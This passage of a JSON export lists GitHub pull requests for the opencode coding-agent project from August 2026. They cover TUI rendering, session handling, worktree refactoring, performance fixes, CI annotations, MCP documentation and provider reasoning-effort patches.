        "id": "github:anomalyco/opencode:pull_request:42130",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat(tui): render Mermaid timelines",
        "text": "## What Render Mermaid `timeline` fences as terminal-native vertical timelines in OpenCode instead of falling back to source code. ```text Product history Foundation ───┐ │ 2024 ───● Prototype │ First release ``` Bare, `TD`, and `LR` timeline headers preserve Mermaid parse semantics while sharing the vertical layout that remains readable in narrow terminal viewports. ## How - Adds timeline detection, parsing, vertical-spine drawing, styling, and plain rendering to `packages/merman/src/timeline`. - Supports titles, sections, standalone periods, inline and continued events, entities, `<br>` lines, comments, and accessibility metadata. - Integrates timeline output with the existing themed Markdown renderer and streaming fallback behavior. - Keeps the implementation synchronized with `@opentui/mermaid` in anomalyco/opentui#1351 until OpenCode can consume that package directly. ## Scope This intentionally renders `timeline LR` vertically. Horizontal timelines become unreadable quickly in terminal message viewports. Mermaid-specific timeline styling and icons remain unsupported. ## Testing - `bun run test` in `packages/merman`: 311 passed - `bun run typecheck` in `packages/merman` - Push hook: full monorepo typecheck, 32 packages passed",
        "url": "https://github.com/anomalyco/opencode/pull/42130",
        "createdAt": "2026-08-12T19:38:23Z",
        "updatedAt": "2026-08-12T23:55:41Z",
        "timestamp": "2026-08-12T23:55:41Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42131",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(tui): continue pending work after interrupt",
        "text": "## Summary - pass `continue: true` when the main TUI interrupts a running session - preserve explicit subagent cancellation behavior ## Testing - `bun typecheck` (`packages/tui`) - `bun test` (`packages/tui`): 688 passed, 5 skipped - pre-push monorepo typecheck: 32 packages passed",
        "url": "https://github.com/anomalyco/opencode/pull/42131",
        "createdAt": "2026-08-12T19:42:52Z",
        "updatedAt": "2026-08-12T19:55:58Z",
        "timestamp": "2026-08-12T19:55:58Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "thdxr",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42133",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat: adopt drive and TUI catalog",
        "text": "## What Adopts `opencode-drive` into the V2 monorepo and gives the captured TUI state browser a first-party internal home at `dev.opencode.ai/lab/catalog`. - `packages/drive`: the published Drive library and CLI, now consuming the workspace V2 client directly. - `packages/lab/catalog`: the terminal UI catalog with complete Opencode, Tokyo Night, and Everforest capture matrices. - `.github/workflows/deploy-lab-catalog.yml`: deploys the internal catalog when the V2 branch changes. ## How - Preserves the public `opencode-drive` package name and CLI while replacing its pinned next-channel client with `@opencode-ai/client: workspace:*`. - Adds `packages/lab/*` as the namespace for internal developer/design tools. - Builds catalog assets with `/lab/catalog/` as their public path and rewrites Worker requests to the static asset root, including SPA deep links. - Runs current-HEAD captures directly against the monorepo working tree; explicit historical revisions still use prepared worktrees. - Retargets catalog feedback links and labels to `anomalyco/opencode`. - Keeps Drive at its published `1.4.3` baseline but marks the workspace package private until npm ownership, trusted publishing, and public Client dependency gates are complete. OpenCode product releases explicitly skip Drive version rewriting. ## Scope - Targets the `v2` branch because Drive consumes the V2 Effect client/service API. The `dev` branch currently exposes the legacy client surface. - Deploys only to `dev.opencode.ai/lab/catalog`; there is deliberately no `opencode.ai` production route and no redirect from `catalog.kitlangton.dev`. - Keeps the source repository/history intact for now. Archiving `anomalyco/opencode-drive` happens after this lands. ## Testing - `packages/drive`: `bun run lint`, `bun typecheck`, `bun run test` (263 tests) - `packages/lab/catalog`: removed dead UI/motion code, stale manual experiments/docs, and unused dependencies; fixed multi-revision theme ID collisions - `packages/lab/catalog`: `bun run lint`, `bun typecheck`, `bun run test` (31 tests), `bun run build` - `packages/lab/catalog`: `bunx wrangler deploy --dry-run` - Push hook: full monorepo `bun turbo typecheck --concurrency=3` (34 tasks) - Added Turbo test tasks so normal PR CI discovers Drive and catalog tests - Verified generated HTML uses `/lab/catalog/` asset URLs and Worker route tests cover app-shell and capture asset rewriting. ## Flow ```mermaid flowchart LR V2[OpenCode V2 workspace] --> Drive[packages/drive] Drive --> Capture[Catalog capture scenarios] Capture --> Frames[Three themed frame matrices] Frames --> Catalog[packages/lab/catalog] Catalog --> Worker[opencode-lab-catalog Worker] Worker --> URL[dev.opencode.ai/lab/catalog] ``` Closes #42126",
        "url": "https://github.com/anomalyco/opencode/pull/42133",
        "createdAt": "2026-08-12T19:51:29Z",
        "updatedAt": "2026-08-12T22:01:19Z",
        "timestamp": "2026-08-12T22:01:19Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42138",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(core): continue sessions after location move",
        "text": "### Issue for this PR N/A ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Defaults session moves to steer delivery and preserves an active model continuation across the Location handoff. The source runner returns the next logical step to SessionExecution, which reloads the Session and destination Location services before continuing. Queued inputs remain pending and the step allowance is not reset. ### How did you verify your code works? - `bun typecheck` in `packages/core` - 179 focused Core tests covering move, runner, execution, recorded runner, and coordinator behavior - Full pre-push Turbo typecheck across 39 packages ### Screenshots / recordings Not applicable. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/42138",
        "createdAt": "2026-08-12T20:14:20Z",
        "updatedAt": "2026-08-12T20:25:54Z",
        "timestamp": "2026-08-12T20:25:54Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "thdxr",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42139",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat(tui): replace tab from session picker",
        "text": "## Summary - replace the active session tab when selecting normally from the Sessions picker - open a new tab for Shift-click, Shift+Enter, and iTerm2 linefeed activation - preserve existing tabs when selecting a session that is already open - rename the V2 filesystem operation and generated SDK method from `find` to `get` while retaining `/api/fs/find` ## Testing - `bun test test/cli/tui/dialog-select.test.tsx test/context/session-tabs.test.tsx test/context/session-tabs-model.test.ts` in `packages/tui` - `bun test test/mini/runtime.test.ts` in `packages/tui` - `bun test src/components/directory-picker-domain.test.ts` in `packages/app` - `bun test test/openapi.test.ts` in `packages/codemode` - `bun typecheck` in affected packages - generated OpenAPI and client surfaces refreshed - `git diff --check`",
        "url": "https://github.com/anomalyco/opencode/pull/42139",
        "createdAt": "2026-08-12T20:16:48Z",
        "updatedAt": "2026-08-12T20:46:20Z",
        "timestamp": "2026-08-12T20:46:20Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "jlongster",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42141",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(tui): improve selected spinner contrast",
        "text": "## What Make activity spinners readable when their session row is selected in the Open and Sessions pickers. ## Before / After **Before:** activity spinners always used the default muted spinner color. On a selected row, that color had low contrast against the focused background and made the running state difficult to see. **After:** gutter content receives the row's resolved foreground color. Activity spinners now use the same high-contrast foreground as the selected title, while unselected spinners remain muted. ## How - `packages/tui/src/ui/dialog-select.tsx` passes each row's resolved foreground color to its gutter renderer. - `packages/tui/src/component/dialog-open.tsx` and `dialog-session-list.tsx` apply that color to running-session spinners. - `packages/tui/test/cli/tui/dialog-select.test.tsx` verifies the gutter color follows selection as it moves between rows. ## Scope This only changes activity-spinner contrast in dialog rows. Other gutter markers keep their existing colors. ## Testing - `bun run test test/cli/tui/dialog-select.test.tsx test/cli/tui/dialog-open.test.tsx` (20 passed) - `bun typecheck` from `packages/tui` - Repository pre-push typecheck (32 packages successful) - OpenCode Drive: started an active session, opened the Sessions picker from a new session, and moved selection away from and back to the running row. ## Demo OpenCode Drive recording. The spinner starts selected with the high-contrast row foreground, becomes muted when selection moves away, then regains contrast when selected again. https://github.com/user-attachments/assets/76484285-3b0e-4573-b193-18abf3aa09a5",
        "url": "https://github.com/anomalyco/opencode/pull/42141",
        "createdAt": "2026-08-12T20:25:06Z",
        "updatedAt": "2026-08-12T20:27:55Z",
        "timestamp": "2026-08-12T20:27:55Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42142",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat(sdk): configure external workspace providers",
        "text": "## What Allow SDK Next embedders to supply provider-wide workspace infrastructure at host construction time: ```ts const openCodeLayer = OpenCodeWorkerd.layer({ storage, workspaceProviders: { modal: WorkerdModalWorkspace.make({ namespace: env.WORKSPACE_DO }), }, }) ``` The typed SDK facade now exposes explicit workspace lifecycle operations: ```ts const opencode = yield* OpenCode.Service const workspace = yield* opencode.workspace.create({ provider: \"modal\" }) yield* opencode.workspace.destroy({ workspaceID: workspace.id }) ``` ## How - Adds `workspaceProviders` to normal and Workerd SDK Next create/layer options. - Installs supplied drivers through the existing `WorkspaceDriver.registryNode` replacement seam only when providers are supplied. - Retains `Workspace.Service` in embedded route graphs and projects only `create` and `destroy` onto the typed `OpenCode.Service` facade. - Keeps standard server composition on the existing empty workspace registry. - Re-exports the canonical Schema `Workspace` namespace from SDK Next. - Removes the built-in Node Modal workspace/environment implementation and its tests. Concrete providers now come from the embedder. - Removes the now-unused `modal` server dependency and lockfile entries. ## Scope - No arbitrary Core service exposure. - No workspace `connect` facade; Location boot remains responsible for connecting placement. - No provider-specific per-workspace options. - No atomic workspace plus session API. - No SDK plugin changes; tools, personas, agents, and hooks remain per-Location plugins. - No Protocol or Server `HttpApi` changes, so generated clients are unchanged. ## Testing - `cd packages/sdk-next && bun typecheck && bun run test` (15 passed) - `cd packages/server && bun typecheck && bun run test` (22 passed) - `cd packages/core && bun run test test/workspace.test.ts && bun typecheck` (2 focused workspace tests passed) - `cd packages/workerd-spike && bun run test` (6 passed in the real Workerd runtime) - Commit hook: `bun turbo typecheck --concurrency=3` (32 package tasks passed) - `bunx prettier --check ...` for all changed text files - `git diff --check` The SDK tests verify externally supplied fake driver creation, persisted provider binding, session placement at the returned workspace ID, delegated destruction and durable removal, and preservation of the typed `WorkspaceDriver.ProviderNotFound` error outside HTTP.",
        "url": "https://github.com/anomalyco/opencode/pull/42142",
        "createdAt": "2026-08-12T20:30:39Z",
        "updatedAt": "2026-08-12T20:47:15Z",
        "timestamp": "2026-08-12T20:47:15Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42144",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat(tui): refine session tab activity indicators",
        "text": "## What Refines session-tab activity feedback in both layouts: - vertical tabs use a compact 10-cell running sweep instead of washing the full row - selected shortcuts stay neutral, while running shortcuts turn interactive blue - start, reprompt, and completion brighten the shortcut, then settle into its durable state - vertical flashes radiate from the shortcut with a feathered falloff - top tabs adopt the same shortcut color and flash semantics without changing their background pulse - the Tabs story can hold runs open, reprompt the selected session, end runs, and switch layouts ## How - `packages/tui/src/component/session-tabs.tsx` shares a number-ignition primitive across vertical and horizontal tabs and applies the selected/running color semantics. - `packages/tui/src/component/tab-pulse.tsx` adds an optional flash tail so localized flashes can fade spatially instead of ending as a hard block. - `packages/tui/src/feature-plugins/system/storybook/` adds reusable footer chrome and richer manual controls for inspecting tab states. ## Scope This does not change the horizontal tab background pulse geometry. It only aligns shortcut color and ignition behavior there. ## Testing - `bun typecheck` in `packages/tui` - `bun run test` in `packages/tui`: 689 passed, 5 skipped - push hook monorepo typecheck: 32 packages passed - real PTY verification in both left-rail and top-strip layouts ## Demo Real PTY recording with the `opencode-drive` fixture selected. It shows vertical start/reprompt, then top-tab reprompt/completion. https://github.com/user-attachments/assets/07f18419-bea6-4c51-aaa3-0859e4be2725",
        "url": "https://github.com/anomalyco/opencode/pull/42144",
        "createdAt": "2026-08-12T20:36:14Z",
        "updatedAt": "2026-08-12T20:44:02Z",
        "timestamp": "2026-08-12T20:44:02Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42148",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "deps: update OpenTUI to 0.5.2",
        "url": "https://github.com/anomalyco/opencode/pull/42148",
        "createdAt": "2026-08-12T21:06:37Z",
        "updatedAt": "2026-08-12T21:09:43Z",
        "timestamp": "2026-08-12T21:09:43Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "simonklee",
        "state": "closed",
        "assignees": [
          "simonklee"
        ]
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42149",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "refactor(core): replace project copies with worktrees",
        "text": "## Summary - replace the V2 ProjectCopy and ProjectDirectories domains with a global Worktree service - consolidate project roots and managed worktrees into a dedicated worktree table - expose global list, create, remove, and refresh operations through the generated Promise and Effect clients - migrate the current V2 TUI and SDK Next surfaces to Worktree terminology and contracts ## Architecture - keep Worktree service process-global and project-ID based - keep only the automatic refresh boot node Location-scoped - resolve create sources from any available persisted worktree, including another managed worktree - keep Git strategy construction in `worktree/git.ts` and shared canonical directory validation in `worktree/directory.ts` - preserve V2 project resolution, Mercurial support, Bus projection, and durable session adoption behavior ## Storage - add the `worktree` table for project roots and managed worktrees - copy every legacy `project_directory` row without deleting the old table - convert legacy `git_worktree` type and strategy values to the `git` strategy - retain the deprecated `ProjectDirectoryTable` definition for compatibility ## API - add global `GET`, `POST`, and `DELETE /api/experimental/project/:projectID/worktree` - add `POST /api/experimental/project/:projectID/worktree/refresh` - remove Location query requirements and the old project directories endpoint - generate `client.worktree.list/create/remove/refresh` for Promise and Effect clients ## Verification - Core typecheck and 77 focused project, session, worktree, schema-identity, and migration tests - Schema typecheck and public event-manifest tests - Protocol typecheck and generated OpenAPI check - Client typecheck and 22 Promise contract tests - Server typecheck and live Worktree HTTP integration test - CLI typecheck - TUI typecheck - SDK Next typecheck and contract identity tests - no changes under `packages/opencode`",
        "url": "https://github.com/anomalyco/opencode/pull/42149",
        "createdAt": "2026-08-12T21:29:26Z",
        "updatedAt": "2026-08-12T21:58:23Z",
        "timestamp": "2026-08-12T21:58:23Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "jlongster",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42150",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(opencode): make text/reasoning delta accumulation O(N) instead of O(N²)",
        "text": "### Issue for this PR Fixes #30067 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Resubmission of #30058 by meitalbensinai (auto-closed for missing PR template; commit cherry-picked unchanged, authorship preserved). Replaces `text += delta` accumulation in the `reasoning-delta` and `text-delta` handlers of `session/processor.ts` with a lazy chunked-text getter. Once anything reads `.text` between writes (UI render loop, NDJSON serializer, bus event broadcaster), the runtime flattens the rope string and the next `+=` re-copies the whole buffer — O(N²) in cumulative part length. On thinking-mode models emitting 1500+ small reasoning tokens per turn, this grows per-step latency from ~6s to 100s+ by turn 50-80 (perf evidence in #30067: memmove at ~30% of CPU, GC pinned). Same shape as the fix that landed in vercel/ai for `processUIMessageStream`. The getter is non-enumerable, so it does not leak through JSON.stringify/structuredClone; `.text` reassignment still works via the setter. ### How did you verify your code works? - Cherry-picked the original commit onto current dev and resolved the conflict in the import region (dev had since dropped an unused `log` variable; the incoming function is the only addition). - Diff is one file, +48/-2; confirmed no `+=` accumulation remains in either handler and no orphaned references were introduced. - Ran a local harness (Bun 1.3.14) executing the exact `installChunkedText` implementation from this diff: - Functional: after 80k appended deltas, `.text` is byte-identical to naive `+=` accumulation; the getter caches the joined string after first read; the setter resets the buffer and subsequent pushes accumulate correctly; `_chunks` is absent from JSON.stringify and object spread (non-enumerable, no leakage). - Performance: with flatten-forcing reads (JSON.stringify every 100 deltas), the chunked path is ~2.9x faster at 80k deltas / 1.6MB accumulated text, and the naive path re-copies the whole buffer on every append once a read forces flatten, so the gap widens with length. - Did not build the app or run the full test suite; the harness exercises the changed mechanism in isolation, not the whole binary. ### Screenshots / recordings n/a ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/42150",
        "createdAt": "2026-08-12T21:34:24Z",
        "updatedAt": "2026-08-13T14:02:08Z",
        "timestamp": "2026-08-13T14:02:08Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "hardes11",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42151",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "chore(ci): surface bun exit code with ::warning:: on failure",
        "text": "## Summary Wrap the `bun script/github/close-prs.ts` invocation in `.github/workflows/close-prs.yml` so a non-zero exit code emits a `::warning::` annotation visible in the run log. Fixes #42157 ## Problem When the close-prs bun script fails (GraphQL pagination error, token-scope error, unhandled exception), the workflow step fails silently — the error is buried in the full log with no visible annotation in the run summary. This makes diagnosing close-prs failures harder than necessary. ## Fix ```yaml bun script/github/close-prs.ts \"${args[@]}\" || { exit_code=$? echo \"::warning::close-prs.ts exited with code $exit_code — check logs for GraphQL/token-scope errors\" exit $exit_code } ``` The exit code is still propagated (`exit $exit_code`), so the workflow step still fails — but now the failure reason is visible at a glance in the run summary via the `::warning::` annotation. ## Verification - Pre-commit hooks passed - The change is in the workflow YAML, not the TypeScript script itself — no test changes needed - Tested on the fork `niStee/opencode` (same workflow file, same failure mode observed in run #13)",
        "url": "https://github.com/anomalyco/opencode/pull/42151",
        "createdAt": "2026-08-12T21:35:30Z",
        "updatedAt": "2026-08-13T00:11:55Z",
        "timestamp": "2026-08-13T00:11:55Z",
        "metrics": {
          "reactions": 0,
          "comments": 5
        },
        "labels": [],
        "author": "niStee",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42155",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "docs: add Orshot to the MCP server examples",
        "text": "### Issue for this PR Closes # No issue — docs-only addition, under the \"Documentation improvements\" bullet in CONTRIBUTING.md. Happy to open one if you'd prefer. ### Type of change - [ ] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [x] Documentation ### What does this PR do? Adds Orshot to the MCP server examples, in the same shape as the Sentry / Context7 / Grep entries: one config snippet, a prompt, and an AGENTS.md rule. Orshot renders images, PDFs and video from templates. The case this covers is an agent that just wrote a page and needs the OG image to go with it, without leaving the terminal. Two things differ from the existing entries: - No `oauth` block and no key in the snippet. The server does dynamic client registration, so the bare remote entry is enough — OpenCode runs the browser flow on first use. - A link to [Per agent](#per-agent) at the end. Orshot exposes ~66 tools and the page already warns about MCP context cost up top, so it seemed worth pointing at the escape hatch from the example that most needs it. Disclosure: I build Orshot, so this is a vendor-submitted entry. Fine by me if you'd rather keep the list to third-party examples — say so and I'll close it. ### How did you verify your code works? Markdown only, so there was nothing to run. What I did check: - The snippet matches the Remote schema documented higher on the same page (`type`, `url`). - The `#per-agent` anchor resolves — the heading is at line 347 of the same file. - The \"no key needed\" claim, by hand against the server: ``` $ curl -s -o /dev/null -w '%{http_code}' -X POST https://mcp.orshot.com/mcp -d '{...initialize...}' 401 $ curl -sI ... | grep -i www-authenticate www-authenticate: Bearer resource_metadata=\"https://mcp.orshot.com/.well-known/oauth-protected-resource\" ``` The authorization server metadata advertises `registration_endpoint` and `code_challenge_methods_supported: [\"S256\"]`, which is the RFC 7591 path your OAuth handler takes. I did not build the docs site, and I don't have opencode installed to run a live session against it. If you want that before merging, tell me and I'll do it. ### Screenshots / recordings Not a UI change. ### Checklist - [x] I have tested my changes locally — to the extent above; no docs build - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/42155",
        "createdAt": "2026-08-12T21:58:43Z",
        "updatedAt": "2026-08-12T22:18:03Z",
        "timestamp": "2026-08-12T22:18:03Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "rishimohan",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42156",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(core): select Kimi prompt by provider",
        "text": "## Summary - pass the provider ID into system-prompt selection - select the Kimi prompt for models served by Kimi providers even when the model ID is bare, such as `k3` - cover provider-based Kimi prompt selection with a regression test ## Checks - `bun test test/plugin/system-prompt.test.ts` (packages/core) - `bun typecheck` (packages/core) Requested by: @rekram1-node (Aiden Cline via Slack)",
        "url": "https://github.com/anomalyco/opencode/pull/42156",
        "createdAt": "2026-08-12T21:59:49Z",
        "updatedAt": "2026-08-12T22:04:49Z",
        "timestamp": "2026-08-12T22:04:49Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [
          "contributor"
        ],
        "author": "opencode-agent[bot]",
        "state": "closed",
        "assignees": [
          "rekram1-node"
        ]
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42158",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(opencode): bridge question tool to ACP elicitation",
        "text": "### Issue for this PR Closes #38121 ### Type of change - [x] Bug fix ### What does this PR do? The `question` tool blocked indefinitely in ACP mode. The root cause: `question.asked` events carry a QuestionV2 request ID that must be passed to `sdk.question.reply/reject` to unblock the waiting deferred — but the event subscription never handled these events at all, so the deferred never settled. The fix wires `question.asked` and `question.v2.asked` into the existing event handler switch and forwards them to a new `ACPElicitation.Handler`. The handler calls `unstable_createElicitation` when the connected client advertises elicitation support (set during `initialize`), and falls back to auto-reject otherwise — preserving current behaviour for non-elicitation clients. ### How did you verify your code works? Unit tests cover: accept, decline, cancel, unsupported client auto-reject, elicitation error, multi-question form, multi-select array schema, empty question list, unknown session, `message.part.updated` not triggering elicitation, missing `toolCallId`, and `question.v2.asked`. Integration tests (subprocess) cover the accept path end-to-end with a real opencode process, auto-reject when the client omits elicitation capability, and the decline path. Also verified against a live Docker Compose environment with nsjail: `create_elicitation` arrives over the ACP wire with the correct schema, the form renders, and the accepted answer is injected back into the model turn. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/42158",
        "createdAt": "2026-08-12T22:01:03Z",
        "updatedAt": "2026-08-13T01:53:48Z",
        "timestamp": "2026-08-13T01:53:48Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "pjaol",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42159",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(catalog): serve app shell at lab route",
        "text": "## What Serve the catalog app shell at `https://dev.opencode.ai/lab/catalog` and its client-side deep links. ## Before / After **Before:** the Worker rewrote app routes to `/index.html`, then Cloudflare Assets applied its default HTML canonicalization and redirected that internal path to `https://dev.opencode.ai/`. The bare catalog route returned a redirect/404 instead of the catalog UI, while JSON assets remained available. **After:** Cloudflare Assets performs no independent HTML path rewriting. The Worker remains the single owner of catalog-prefix stripping and SPA fallback routing, so `/lab/catalog`, `/lab/catalog/`, and deep links resolve to the catalog app shell. ## How - Set `assets.html_handling` to `none` in `packages/lab/catalog/wrangler.jsonc`. - Add a regression assertion in `catalog/worker.test.ts` so Assets cannot silently regain competing HTML route behavior. ## Scope This changes only catalog HTML route handling. Capture JSON, the committed capture set, and the `dev.opencode.ai/lab/catalog*` route remain unchanged. ## Testing - `bun run test` - `bun typecheck` - `bun run build` - `bunx wrangler deploy --dry-run` - Full monorepo typecheck from the push hook",
        "url": "https://github.com/anomalyco/opencode/pull/42159",
        "createdAt": "2026-08-12T22:06:53Z",
        "updatedAt": "2026-08-12T22:18:26Z",
        "timestamp": "2026-08-12T22:18:26Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42160",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(xai): pass through reasoning effort",
        "text": "## Summary - loosen the patched xAI SDK reasoning-effort schemas from a fixed enum to a string for both Chat and Responses - preserve arbitrary effort values on the outbound provider request - cover `xhigh` pass-through for both xAI APIs ## Related issues - #32459 ## Checks - `bun test test/provider-xai-responses.test.ts` (from `packages/core`) - `bun typecheck` (from `packages/core`) - clean forced install with the updated Bun patch Requested by: @rekram1-node (Aiden Cline via Slack)",
        "url": "https://github.com/anomalyco/opencode/pull/42160",
        "createdAt": "2026-08-12T22:07:00Z",
        "updatedAt": "2026-08-12T22:19:20Z",
        "timestamp": "2026-08-12T22:19:20Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "opencode-agent[bot]",
        "state": "closed",
        "assignees": [
          "rekram1-node"
        ]
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42161",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(opencode): select Kimi prompt by provider",
        "text": "## Summary - select the Kimi system prompt for models served by the official Kimi and Moonshot providers - handle bare model IDs such as `k3` and `k3-256k` without relying on the model ID containing `kimi` - cover provider-based prompt selection with a regression test ## Checks - `bun test test/session/system.test.ts` (packages/opencode) - `bun typecheck` (packages/opencode; timed out under host contention after 120s) Requested by: @rekram1-node (Aiden Cline via Slack) Closes: #42059",
        "url": "https://github.com/anomalyco/opencode/pull/42161",
        "createdAt": "2026-08-12T22:07:51Z",
        "updatedAt": "2026-08-12T22:29:06Z",
        "timestamp": "2026-08-12T22:29:06Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "opencode-agent[bot]",
        "state": "closed",
        "assignees": [
          "rekram1-node"
        ]
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42164",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(mistral): pass through reasoning effort",
        "text": "## Summary - loosen the patched Mistral SDK reasoning-effort schema from a fixed enum to a string - preserve arbitrary effort values on the outbound provider request - add regression coverage for an unknown effort value ## Checks - `bun test test/provider-mistral.test.ts` (from `packages/core`) - `bun typecheck` (from `packages/core`) - clean forced install with the updated Bun patch Requested by: @rekram1-node (Aiden Cline via Slack)",
        "url": "https://github.com/anomalyco/opencode/pull/42164",
        "createdAt": "2026-08-12T22:16:11Z",
        "updatedAt": "2026-08-12T22:20:09Z",
        "timestamp": "2026-08-12T22:20:09Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "opencode-agent[bot]",
        "state": "closed",
        "assignees": [
          "rekram1-node"
        ]
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42166",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(groq): pass through reasoning effort",
        "text": "## Summary - patch the Groq SDK reasoning-effort schema to accept arbitrary strings instead of a fixed enum - preserve unknown effort values on the outbound provider request - add regression coverage for pass-through behavior ## Checks - `bun test test/provider-groq.test.ts` (from `packages/core`) - `bun typecheck` (from `packages/core`) - clean forced install with the new Bun patch Requested by: @rekram1-node (Aiden Cline via Slack)",
        "url": "https://github.com/anomalyco/opencode/pull/42166",
        "createdAt": "2026-08-12T22:16:19Z",
        "updatedAt": "2026-08-12T22:20:26Z",
        "timestamp": "2026-08-12T22:20:26Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "opencode-agent[bot]",
        "state": "closed",
        "assignees": [
          "rekram1-node"
        ]
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42169",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(core): restore workspace.project_id for project ID remaps",
